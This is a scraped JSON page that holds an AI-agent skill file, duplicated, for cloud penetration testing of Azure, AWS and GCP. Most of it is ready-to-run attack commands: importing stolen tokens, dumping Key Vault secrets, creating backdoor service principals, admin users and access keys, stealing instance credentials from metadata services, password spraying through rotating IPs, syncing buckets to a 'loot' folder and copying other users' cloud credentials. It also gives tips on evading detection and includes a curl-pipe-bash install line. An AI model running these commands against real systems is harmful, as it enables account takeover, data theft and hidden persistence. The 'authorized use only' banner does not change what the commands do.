[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7CJ0TPYCMR742DHADCEV2EW":3,"skill-same:01M7CJ0TPYCMR742DHADCEV2EW":57},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":31,"repositoryHtmlUrl":32,"repositoryHomepageUrl":33,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M7CJ0TPYCMR742DHADCEV2EW","cloud-penetration-testing",null,"Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP).","YYC-Cube\u002FYYC3-Knowledge-Base","YYC-Cube","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F235006543?v=4","01M79J2PH4SWD2X0825X6PN748","yyc3","01M79J2PHVK3F6ZBYT8K2SCZCW",1,"MIT","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fskills\u002Fcloud-penetration-testing\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: cloud-penetration-testing\ndescription: \"Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP).\"\nrisk: offensive\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n\u003C!-- security-allowlist: curl-pipe-bash -->\n\n# Cloud Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Azure tools\nInstall-Module -Name Az -AllowClobber -Force\nInstall-Module -Name MSOnline -Force\nInstall-Module -Name AzureAD -Force\n\n# AWS CLI\ncurl \"https:\u002F\u002Fawscli.amazonaws.com\u002Fawscli-exe-linux-x86_64.zip\" -o \"awscliv2.zip\"\nunzip awscliv2.zip && sudo .\u002Faws\u002Finstall\n\n# GCP CLI\ncurl https:\u002F\u002Fsdk.cloud.google.com | bash\ngcloud init\n\n# Additional tools\npip install scoutsuite pacu\n```\n\n### Required Knowledge\n- Cloud architecture fundamentals\n- Identity and Access Management (IAM)\n- API authentication mechanisms\n- DevOps and automation concepts\n\n### Required Access\n- Written authorization for testing\n- Test credentials or access tokens\n- Defined scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings\n2. **Resource Inventory** - Enumerated services, storage, and compute instances\n3. **Credential Findings** - Exposed secrets, keys, and misconfigurations\n4. **Remediation Recommendations** - Hardening guidance per platform\n\n## Core Workflow\n\n### Phase 1: Reconnaissance\n\nGather initial information about target cloud presence:\n\n```bash\n# Azure: Get federation info\ncurl \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=user@target.com&xml=1\"\n\n# Azure: Get Tenant ID\ncurl \"https:\u002F\u002Flogin.microsoftonline.com\u002Ftarget.com\u002Fv2.0\u002F.well-known\u002Fopenid-configuration\"\n\n# Enumerate cloud resources by company name\npython3 cloud_enum.py -k targetcompany\n\n# Check IP against cloud providers\ncat ips.txt | python3 ip2provider.py\n```\n\n### Phase 2: Azure Authentication\n\nAuthenticate to Azure environments:\n\n```powershell\n# Az PowerShell Module\nImport-Module Az\nConnect-AzAccount\n\n# With credentials (may bypass MFA)\n$credential = Get-Credential\nConnect-AzAccount -Credential $credential\n\n# Import stolen context\nImport-AzContext -Profile 'C:\\Temp\\StolenToken.json'\n\n# Export context for persistence\nSave-AzContext -Path C:\\Temp\\AzureAccessToken.json\n\n# MSOnline Module\nImport-Module MSOnline\nConnect-MsolService\n```\n\n### Phase 3: Azure Enumeration\n\nDiscover Azure resources and permissions:\n\n```powershell\n# List contexts and subscriptions\nGet-AzContext -ListAvailable\nGet-AzSubscription\n\n# Current user role assignments\nGet-AzRoleAssignment\n\n# List resources\nGet-AzResource\nGet-AzResourceGroup\n\n# Storage accounts\nGet-AzStorageAccount\n\n# Web applications\nGet-AzWebApp\n\n# SQL Servers and databases\nGet-AzSQLServer\nGet-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG\n\n# Virtual machines\nGet-AzVM\n$vm = Get-AzVM -Name \"VMName\"\n$vm.OSProfile\n\n# List all users\nGet-MSolUser -All\n\n# List all groups\nGet-MSolGroup -All\n\n# Global Admins\nGet-MsolRole -RoleName \"Company Administrator\"\nGet-MSolGroupMember -GroupObjectId $GUID\n\n# Service Principals\nGet-MsolServicePrincipal\n```\n\n### Phase 4: Azure Exploitation\n\nExploit Azure misconfigurations:\n\n```powershell\n# Search user attributes for passwords\n$users = Get-MsolUser -All\nforeach($user in $users){\n    $props = @()\n    $user | Get-Member | foreach-object{$props+=$_.Name}\n    foreach($prop in $props){\n        if($user.$prop -like \"*password*\"){\n            Write-Output (\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)\n        }\n    }\n}\n\n# Execute commands on VMs\nInvoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath .\u002Fscript.ps1\n\n# Extract VM UserData\n$vms = Get-AzVM\n$vms.UserData\n\n# Dump Key Vault secrets\naz keyvault list --query '[].name' --output tsv\naz keyvault set-policy --name \u003Cvault> --upn \u003Cuser> --secret-permissions get list\naz keyvault secret list --vault-name \u003Cvault> --query '[].id' --output tsv\naz keyvault secret show --id \u003CURI>\n```\n\n### Phase 5: Azure Persistence\n\nEstablish persistence in Azure:\n\n```powershell\n# Create backdoor service principal\n$spn = New-AzAdServicePrincipal -DisplayName \"WebService\" -Role Owner\n$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)\n$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)\n\n# Add service principal to Global Admin\n$sp = Get-MsolServicePrincipal -AppPrincipalId \u003CAppID>\n$role = Get-MsolRole -RoleName \"Company Administrator\"\nAdd-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId\n\n# Login as service principal\n$cred = Get-Credential  # AppID as username, secret as password\nConnect-AzAccount -Credential $cred -Tenant \"tenant-id\" -ServicePrincipal\n\n# Create new admin user via CLI\naz ad user create --display-name \u003Cname> --password \u003Cpass> --user-principal-name \u003Cupn>\n```\n\n### Phase 6: AWS Authentication\n\nAuthenticate to AWS environments:\n\n```bash\n# Configure AWS CLI\naws configure\n# Enter: Access Key ID, Secret Access Key, Region, Output format\n\n# Use specific profile\naws configure --profile target\n\n# Test credentials\naws sts get-caller-identity\n```\n\n### Phase 7: AWS Enumeration\n\nDiscover AWS resources:\n\n```bash\n# Account information\naws sts get-caller-identity\naws iam list-users\naws iam list-roles\n\n# S3 Buckets\naws s3 ls\naws s3 ls s3:\u002F\u002Fbucket-name\u002F\naws s3 sync s3:\u002F\u002Fbucket-name .\u002Flocal-dir\n\n# EC2 Instances\naws ec2 describe-instances\n\n# RDS Databases\naws rds describe-db-instances --region us-east-1\n\n# Lambda Functions\naws lambda list-functions --region us-east-1\naws lambda get-function --function-name \u003Cname>\n\n# EKS Clusters\naws eks list-clusters --region us-east-1\n\n# Networking\naws ec2 describe-subnets\naws ec2 describe-security-groups --group-ids \u003Csg-id>\naws directconnect describe-connections\n```\n\n### Phase 8: AWS Exploitation\n\nExploit AWS misconfigurations:\n\n```bash\n# Check for public RDS snapshots\naws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier\naws rds describe-db-snapshot-attributes --db-snapshot-identifier \u003Cid>\n# AttributeValues = \"all\" means publicly accessible\n\n# Extract Lambda environment variables (may contain secrets)\naws lambda get-function --function-name \u003Cname> | jq '.Configuration.Environment'\n\n# Access metadata service (from compromised EC2)\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# IMDSv2 access\nTOKEN=$(curl -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fprofile -H \"X-aws-ec2-metadata-token: $TOKEN\"\n```\n\n### Phase 9: AWS Persistence\n\nEstablish persistence in AWS:\n\n```bash\n# List existing access keys\naws iam list-access-keys --user-name \u003Cusername>\n\n# Create backdoor access key\naws iam create-access-key --user-name \u003Cusername>\n\n# Get all EC2 public IPs\nfor region in $(cat regions.txt); do\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'\ndone\n```\n\n### Phase 10: GCP Enumeration\n\nDiscover GCP resources:\n\n```bash\n# Authentication\ngcloud auth login\ngcloud auth activate-service-account --key-file creds.json\ngcloud auth list\n\n# Account information\ngcloud config list\ngcloud organizations list\ngcloud projects list\n\n# IAM Policies\ngcloud organizations get-iam-policy \u003Corg-id>\ngcloud projects get-iam-policy \u003Cproject-id>\n\n# Enabled services\ngcloud services list\n\n# Source code repos\ngcloud source repos list\ngcloud source repos clone \u003Crepo>\n\n# Compute instances\ngcloud compute instances list\ngcloud beta compute ssh --zone \"region\" \"instance\" --project \"project\"\n\n# Storage buckets\ngsutil ls\ngsutil ls -r gs:\u002F\u002Fbucket-name\ngsutil cp gs:\u002F\u002Fbucket\u002Ffile .\u002Flocal\n\n# SQL instances\ngcloud sql instances list\ngcloud sql databases list --instance \u003Cid>\n\n# Kubernetes\ngcloud container clusters list\ngcloud container clusters get-credentials \u003Ccluster> --region \u003Cregion>\nkubectl cluster-info\n```\n\n### Phase 11: GCP Exploitation\n\nExploit GCP misconfigurations:\n\n```bash\n# Get metadata service data\ncurl \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F?recursive=true&alt=text\" -H \"Metadata-Flavor: Google\"\n\n# Check access scopes\ncurl http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Fscopes -H 'Metadata-Flavor:Google'\n\n# Decrypt data with keyring\ngcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key \u003Ckey> --keyring \u003Ckeyring> --location global\n\n# Serverless function analysis\ngcloud functions list\ngcloud functions describe \u003Cname>\ngcloud functions logs read \u003Cname> --limit 100\n\n# Find stored credentials\nsudo find \u002Fhome -name \"credentials.db\"\nsudo cp -r \u002Fhome\u002Fuser\u002F.config\u002Fgcloud ~\u002F.config\ngcloud auth list\n```\n\n## Quick Reference\n\n### Azure Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `Connect-AzAccount` |\n| List subscriptions | `Get-AzSubscription` |\n| List users | `Get-MsolUser -All` |\n| List groups | `Get-MsolGroup -All` |\n| Current roles | `Get-AzRoleAssignment` |\n| List VMs | `Get-AzVM` |\n| List storage | `Get-AzStorageAccount` |\n| Key Vault secrets | `az keyvault secret list --vault-name \u003Cname>` |\n\n### AWS Key Commands\n\n| Action | Command |\n|--------|---------|\n| Configure | `aws configure` |\n| Caller identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List S3 buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Metadata | `curl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n\n### GCP Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `gcloud auth login` |\n| List projects | `gcloud projects list` |\n| List instances | `gcloud compute instances list` |\n| List buckets | `gsutil ls` |\n| List clusters | `gcloud container clusters list` |\n| IAM policy | `gcloud projects get-iam-policy \u003Cproject>` |\n| Metadata | `curl -H \"Metadata-Flavor: Google\" http:\u002F\u002Fmetadata.google.internal\u002F...` |\n\n### Metadata Service URLs\n\n| Provider | URL |\n|----------|-----|\n| AWS | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n| Azure | `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2018-02-01` |\n| GCP | `http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F` |\n\n### Useful Tools\n\n| Tool | Purpose |\n|------|---------|\n| ScoutSuite | Multi-cloud security auditing |\n| Pacu | AWS exploitation framework |\n| AzureHound | Azure AD attack path mapping |\n| ROADTools | Azure AD enumeration |\n| WeirdAAL | AWS service enumeration |\n| MicroBurst | Azure security assessment |\n| PowerZure | Azure post-exploitation |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Respect scope boundaries between cloud accounts\n- Do not access production customer data\n- Document all testing activities\n\n### Technical Limitations\n- MFA may prevent credential-based attacks\n- Conditional Access policies may restrict access\n- CloudTrail\u002FActivity Logs record all API calls\n- Some resources require specific regional access\n\n### Detection Considerations\n- Cloud providers log all API activity\n- Unusual access patterns trigger alerts\n- Use slow, deliberate enumeration\n- Consider GuardDuty, Security Center, Cloud Armor\n\n## Examples\n\n### Example 1: Azure Password Spray\n\n**Scenario:** Test Azure AD password policy\n\n```powershell\n# Using MSOLSpray with FireProx for IP rotation\n# First create FireProx endpoint\npython fire.py --access_key \u003Ckey> --secret_access_key \u003Csecret> --region us-east-1 --url https:\u002F\u002Flogin.microsoft.com --command create\n\n# Spray passwords\nImport-Module .\\MSOLSpray.ps1\nInvoke-MSOLSpray -UserList .\\users.txt -Password \"Spring2024!\" -URL https:\u002F\u002F\u003Capi-gateway>.execute-api.us-east-1.amazonaws.com\u002Ffireprox\n```\n\n### Example 2: AWS S3 Bucket Enumeration\n\n**Scenario:** Find and access misconfigured S3 buckets\n\n```bash\n# List all buckets\naws s3 ls | awk '{print $3}' > buckets.txt\n\n# Check each bucket for contents\nwhile read bucket; do\n    echo \"Checking: $bucket\"\n    aws s3 ls s3:\u002F\u002F$bucket 2>\u002Fdev\u002Fnull\ndone \u003C buckets.txt\n\n# Download interesting bucket\naws s3 sync s3:\u002F\u002Fmisconfigured-bucket .\u002Floot\u002F\n```\n\n### Example 3: GCP Service Account Compromise\n\n**Scenario:** Pivot using compromised service account\n\n```bash\n# Authenticate with service account key\ngcloud auth activate-service-account --key-file compromised-sa.json\n\n# List accessible projects\ngcloud projects list\n\n# Enumerate compute instances\ngcloud compute instances list --project target-project\n\n# Check for SSH keys in metadata\ngcloud compute project-info describe --project target-project | grep ssh\n\n# SSH to instance\ngcloud beta compute ssh instance-name --zone us-central1-a --project target-project\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Authentication failures | Verify credentials; check MFA; ensure correct tenant\u002Fproject; try alternative auth methods |\n| Permission denied | List current roles; try different resources; check resource policies; verify region |\n| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |\n| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |\n\n## References\n\n- [Advanced Cloud Scripts](references\u002Fadvanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n\u003C!-- security-allowlist: curl-pipe-bash -->\n\n# Cloud Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Azure tools\nInstall-Module -Name Az -AllowClobber -Force\nInstall-Module -Name MSOnline -Force\nInstall-Module -Name AzureAD -Force\n\n# AWS CLI\ncurl \"https:\u002F\u002Fawscli.amazonaws.com\u002Fawscli-exe-linux-x86_64.zip\" -o \"awscliv2.zip\"\nunzip awscliv2.zip && sudo .\u002Faws\u002Finstall\n\n# GCP CLI\ncurl https:\u002F\u002Fsdk.cloud.google.com | bash\ngcloud init\n\n# Additional tools\npip install scoutsuite pacu\n```\n\n### Required Knowledge\n- Cloud architecture fundamentals\n- Identity and Access Management (IAM)\n- API authentication mechanisms\n- DevOps and automation concepts\n\n### Required Access\n- Written authorization for testing\n- Test credentials or access tokens\n- Defined scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings\n2. **Resource Inventory** - Enumerated services, storage, and compute instances\n3. **Credential Findings** - Exposed secrets, keys, and misconfigurations\n4. **Remediation Recommendations** - Hardening guidance per platform\n\n## Core Workflow\n\n### Phase 1: Reconnaissance\n\nGather initial information about target cloud presence:\n\n```bash\n# Azure: Get federation info\ncurl \"https:\u002F\u002Flogin.microsoftonline.com\u002Fgetuserrealm.srf?login=user@target.com&xml=1\"\n\n# Azure: Get Tenant ID\ncurl \"https:\u002F\u002Flogin.microsoftonline.com\u002Ftarget.com\u002Fv2.0\u002F.well-known\u002Fopenid-configuration\"\n\n# Enumerate cloud resources by company name\npython3 cloud_enum.py -k targetcompany\n\n# Check IP against cloud providers\ncat ips.txt | python3 ip2provider.py\n```\n\n### Phase 2: Azure Authentication\n\nAuthenticate to Azure environments:\n\n```powershell\n# Az PowerShell Module\nImport-Module Az\nConnect-AzAccount\n\n# With credentials (may bypass MFA)\n$credential = Get-Credential\nConnect-AzAccount -Credential $credential\n\n# Import stolen context\nImport-AzContext -Profile 'C:\\Temp\\StolenToken.json'\n\n# Export context for persistence\nSave-AzContext -Path C:\\Temp\\AzureAccessToken.json\n\n# MSOnline Module\nImport-Module MSOnline\nConnect-MsolService\n```\n\n### Phase 3: Azure Enumeration\n\nDiscover Azure resources and permissions:\n\n```powershell\n# List contexts and subscriptions\nGet-AzContext -ListAvailable\nGet-AzSubscription\n\n# Current user role assignments\nGet-AzRoleAssignment\n\n# List resources\nGet-AzResource\nGet-AzResourceGroup\n\n# Storage accounts\nGet-AzStorageAccount\n\n# Web applications\nGet-AzWebApp\n\n# SQL Servers and databases\nGet-AzSQLServer\nGet-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG\n\n# Virtual machines\nGet-AzVM\n$vm = Get-AzVM -Name \"VMName\"\n$vm.OSProfile\n\n# List all users\nGet-MSolUser -All\n\n# List all groups\nGet-MSolGroup -All\n\n# Global Admins\nGet-MsolRole -RoleName \"Company Administrator\"\nGet-MSolGroupMember -GroupObjectId $GUID\n\n# Service Principals\nGet-MsolServicePrincipal\n```\n\n### Phase 4: Azure Exploitation\n\nExploit Azure misconfigurations:\n\n```powershell\n# Search user attributes for passwords\n$users = Get-MsolUser -All\nforeach($user in $users){\n    $props = @()\n    $user | Get-Member | foreach-object{$props+=$_.Name}\n    foreach($prop in $props){\n        if($user.$prop -like \"*password*\"){\n            Write-Output (\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)\n        }\n    }\n}\n\n# Execute commands on VMs\nInvoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath .\u002Fscript.ps1\n\n# Extract VM UserData\n$vms = Get-AzVM\n$vms.UserData\n\n# Dump Key Vault secrets\naz keyvault list --query '[].name' --output tsv\naz keyvault set-policy --name \u003Cvault> --upn \u003Cuser> --secret-permissions get list\naz keyvault secret list --vault-name \u003Cvault> --query '[].id' --output tsv\naz keyvault secret show --id \u003CURI>\n```\n\n### Phase 5: Azure Persistence\n\nEstablish persistence in Azure:\n\n```powershell\n# Create backdoor service principal\n$spn = New-AzAdServicePrincipal -DisplayName \"WebService\" -Role Owner\n$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)\n$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)\n\n# Add service principal to Global Admin\n$sp = Get-MsolServicePrincipal -AppPrincipalId \u003CAppID>\n$role = Get-MsolRole -RoleName \"Company Administrator\"\nAdd-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId\n\n# Login as service principal\n$cred = Get-Credential  # AppID as username, secret as password\nConnect-AzAccount -Credential $cred -Tenant \"tenant-id\" -ServicePrincipal\n\n# Create new admin user via CLI\naz ad user create --display-name \u003Cname> --password \u003Cpass> --user-principal-name \u003Cupn>\n```\n\n### Phase 6: AWS Authentication\n\nAuthenticate to AWS environments:\n\n```bash\n# Configure AWS CLI\naws configure\n# Enter: Access Key ID, Secret Access Key, Region, Output format\n\n# Use specific profile\naws configure --profile target\n\n# Test credentials\naws sts get-caller-identity\n```\n\n### Phase 7: AWS Enumeration\n\nDiscover AWS resources:\n\n```bash\n# Account information\naws sts get-caller-identity\naws iam list-users\naws iam list-roles\n\n# S3 Buckets\naws s3 ls\naws s3 ls s3:\u002F\u002Fbucket-name\u002F\naws s3 sync s3:\u002F\u002Fbucket-name .\u002Flocal-dir\n\n# EC2 Instances\naws ec2 describe-instances\n\n# RDS Databases\naws rds describe-db-instances --region us-east-1\n\n# Lambda Functions\naws lambda list-functions --region us-east-1\naws lambda get-function --function-name \u003Cname>\n\n# EKS Clusters\naws eks list-clusters --region us-east-1\n\n# Networking\naws ec2 describe-subnets\naws ec2 describe-security-groups --group-ids \u003Csg-id>\naws directconnect describe-connections\n```\n\n### Phase 8: AWS Exploitation\n\nExploit AWS misconfigurations:\n\n```bash\n# Check for public RDS snapshots\naws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier\naws rds describe-db-snapshot-attributes --db-snapshot-identifier \u003Cid>\n# AttributeValues = \"all\" means publicly accessible\n\n# Extract Lambda environment variables (may contain secrets)\naws lambda get-function --function-name \u003Cname> | jq '.Configuration.Environment'\n\n# Access metadata service (from compromised EC2)\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n\n# IMDSv2 access\nTOKEN=$(curl -X PUT \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fprofile -H \"X-aws-ec2-metadata-token: $TOKEN\"\n```\n\n### Phase 9: AWS Persistence\n\nEstablish persistence in AWS:\n\n```bash\n# List existing access keys\naws iam list-access-keys --user-name \u003Cusername>\n\n# Create backdoor access key\naws iam create-access-key --user-name \u003Cusername>\n\n# Get all EC2 public IPs\nfor region in $(cat regions.txt); do\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'\ndone\n```\n\n### Phase 10: GCP Enumeration\n\nDiscover GCP resources:\n\n```bash\n# Authentication\ngcloud auth login\ngcloud auth activate-service-account --key-file creds.json\ngcloud auth list\n\n# Account information\ngcloud config list\ngcloud organizations list\ngcloud projects list\n\n# IAM Policies\ngcloud organizations get-iam-policy \u003Corg-id>\ngcloud projects get-iam-policy \u003Cproject-id>\n\n# Enabled services\ngcloud services list\n\n# Source code repos\ngcloud source repos list\ngcloud source repos clone \u003Crepo>\n\n# Compute instances\ngcloud compute instances list\ngcloud beta compute ssh --zone \"region\" \"instance\" --project \"project\"\n\n# Storage buckets\ngsutil ls\ngsutil ls -r gs:\u002F\u002Fbucket-name\ngsutil cp gs:\u002F\u002Fbucket\u002Ffile .\u002Flocal\n\n# SQL instances\ngcloud sql instances list\ngcloud sql databases list --instance \u003Cid>\n\n# Kubernetes\ngcloud container clusters list\ngcloud container clusters get-credentials \u003Ccluster> --region \u003Cregion>\nkubectl cluster-info\n```\n\n### Phase 11: GCP Exploitation\n\nExploit GCP misconfigurations:\n\n```bash\n# Get metadata service data\ncurl \"http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F?recursive=true&alt=text\" -H \"Metadata-Flavor: Google\"\n\n# Check access scopes\ncurl http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Fscopes -H 'Metadata-Flavor:Google'\n\n# Decrypt data with keyring\ngcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key \u003Ckey> --keyring \u003Ckeyring> --location global\n\n# Serverless function analysis\ngcloud functions list\ngcloud functions describe \u003Cname>\ngcloud functions logs read \u003Cname> --limit 100\n\n# Find stored credentials\nsudo find \u002Fhome -name \"credentials.db\"\nsudo cp -r \u002Fhome\u002Fuser\u002F.config\u002Fgcloud ~\u002F.config\ngcloud auth list\n```\n\n## Quick Reference\n\n### Azure Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `Connect-AzAccount` |\n| List subscriptions | `Get-AzSubscription` |\n| List users | `Get-MsolUser -All` |\n| List groups | `Get-MsolGroup -All` |\n| Current roles | `Get-AzRoleAssignment` |\n| List VMs | `Get-AzVM` |\n| List storage | `Get-AzStorageAccount` |\n| Key Vault secrets | `az keyvault secret list --vault-name \u003Cname>` |\n\n### AWS Key Commands\n\n| Action | Command |\n|--------|---------|\n| Configure | `aws configure` |\n| Caller identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List S3 buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Metadata | `curl http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n\n### GCP Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `gcloud auth login` |\n| List projects | `gcloud projects list` |\n| List instances | `gcloud compute instances list` |\n| List buckets | `gsutil ls` |\n| List clusters | `gcloud container clusters list` |\n| IAM policy | `gcloud projects get-iam-policy \u003Cproject>` |\n| Metadata | `curl -H \"Metadata-Flavor: Google\" http:\u002F\u002Fmetadata.google.internal\u002F...` |\n\n### Metadata Service URLs\n\n| Provider | URL |\n|----------|-----|\n| AWS | `http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F` |\n| Azure | `http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2018-02-01` |\n| GCP | `http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F` |\n\n### Useful Tools\n\n| Tool | Purpose |\n|------|---------|\n| ScoutSuite | Multi-cloud security auditing |\n| Pacu | AWS exploitation framework |\n| AzureHound | Azure AD attack path mapping |\n| ROADTools | Azure AD enumeration |\n| WeirdAAL | AWS service enumeration |\n| MicroBurst | Azure security assessment |\n| PowerZure | Azure post-exploitation |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Respect scope boundaries between cloud accounts\n- Do not access production customer data\n- Document all testing activities\n\n### Technical Limitations\n- MFA may prevent credential-based attacks\n- Conditional Access policies may restrict access\n- CloudTrail\u002FActivity Logs record all API calls\n- Some resources require specific regional access\n\n### Detection Considerations\n- Cloud providers log all API activity\n- Unusual access patterns trigger alerts\n- Use slow, deliberate enumeration\n- Consider GuardDuty, Security Center, Cloud Armor\n\n## Examples\n\n### Example 1: Azure Password Spray\n\n**Scenario:** Test Azure AD password policy\n\n```powershell\n# Using MSOLSpray with FireProx for IP rotation\n# First create FireProx endpoint\npython fire.py --access_key \u003Ckey> --secret_access_key \u003Csecret> --region us-east-1 --url https:\u002F\u002Flogin.microsoft.com --command create\n\n# Spray passwords\nImport-Module .\\MSOLSpray.ps1\nInvoke-MSOLSpray -UserList .\\users.txt -Password \"Spring2024!\" -URL https:\u002F\u002F\u003Capi-gateway>.execute-api.us-east-1.amazonaws.com\u002Ffireprox\n```\n\n### Example 2: AWS S3 Bucket Enumeration\n\n**Scenario:** Find and access misconfigured S3 buckets\n\n```bash\n# List all buckets\naws s3 ls | awk '{print $3}' > buckets.txt\n\n# Check each bucket for contents\nwhile read bucket; do\n    echo \"Checking: $bucket\"\n    aws s3 ls s3:\u002F\u002F$bucket 2>\u002Fdev\u002Fnull\ndone \u003C buckets.txt\n\n# Download interesting bucket\naws s3 sync s3:\u002F\u002Fmisconfigured-bucket .\u002Floot\u002F\n```\n\n### Example 3: GCP Service Account Compromise\n\n**Scenario:** Pivot using compromised service account\n\n```bash\n# Authenticate with service account key\ngcloud auth activate-service-account --key-file compromised-sa.json\n\n# List accessible projects\ngcloud projects list\n\n# Enumerate compute instances\ngcloud compute instances list --project target-project\n\n# Check for SSH keys in metadata\ngcloud compute project-info describe --project target-project | grep ssh\n\n# SSH to instance\ngcloud beta compute ssh instance-name --zone us-central1-a --project target-project\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Authentication failures | Verify credentials; check MFA; ensure correct tenant\u002Fproject; try 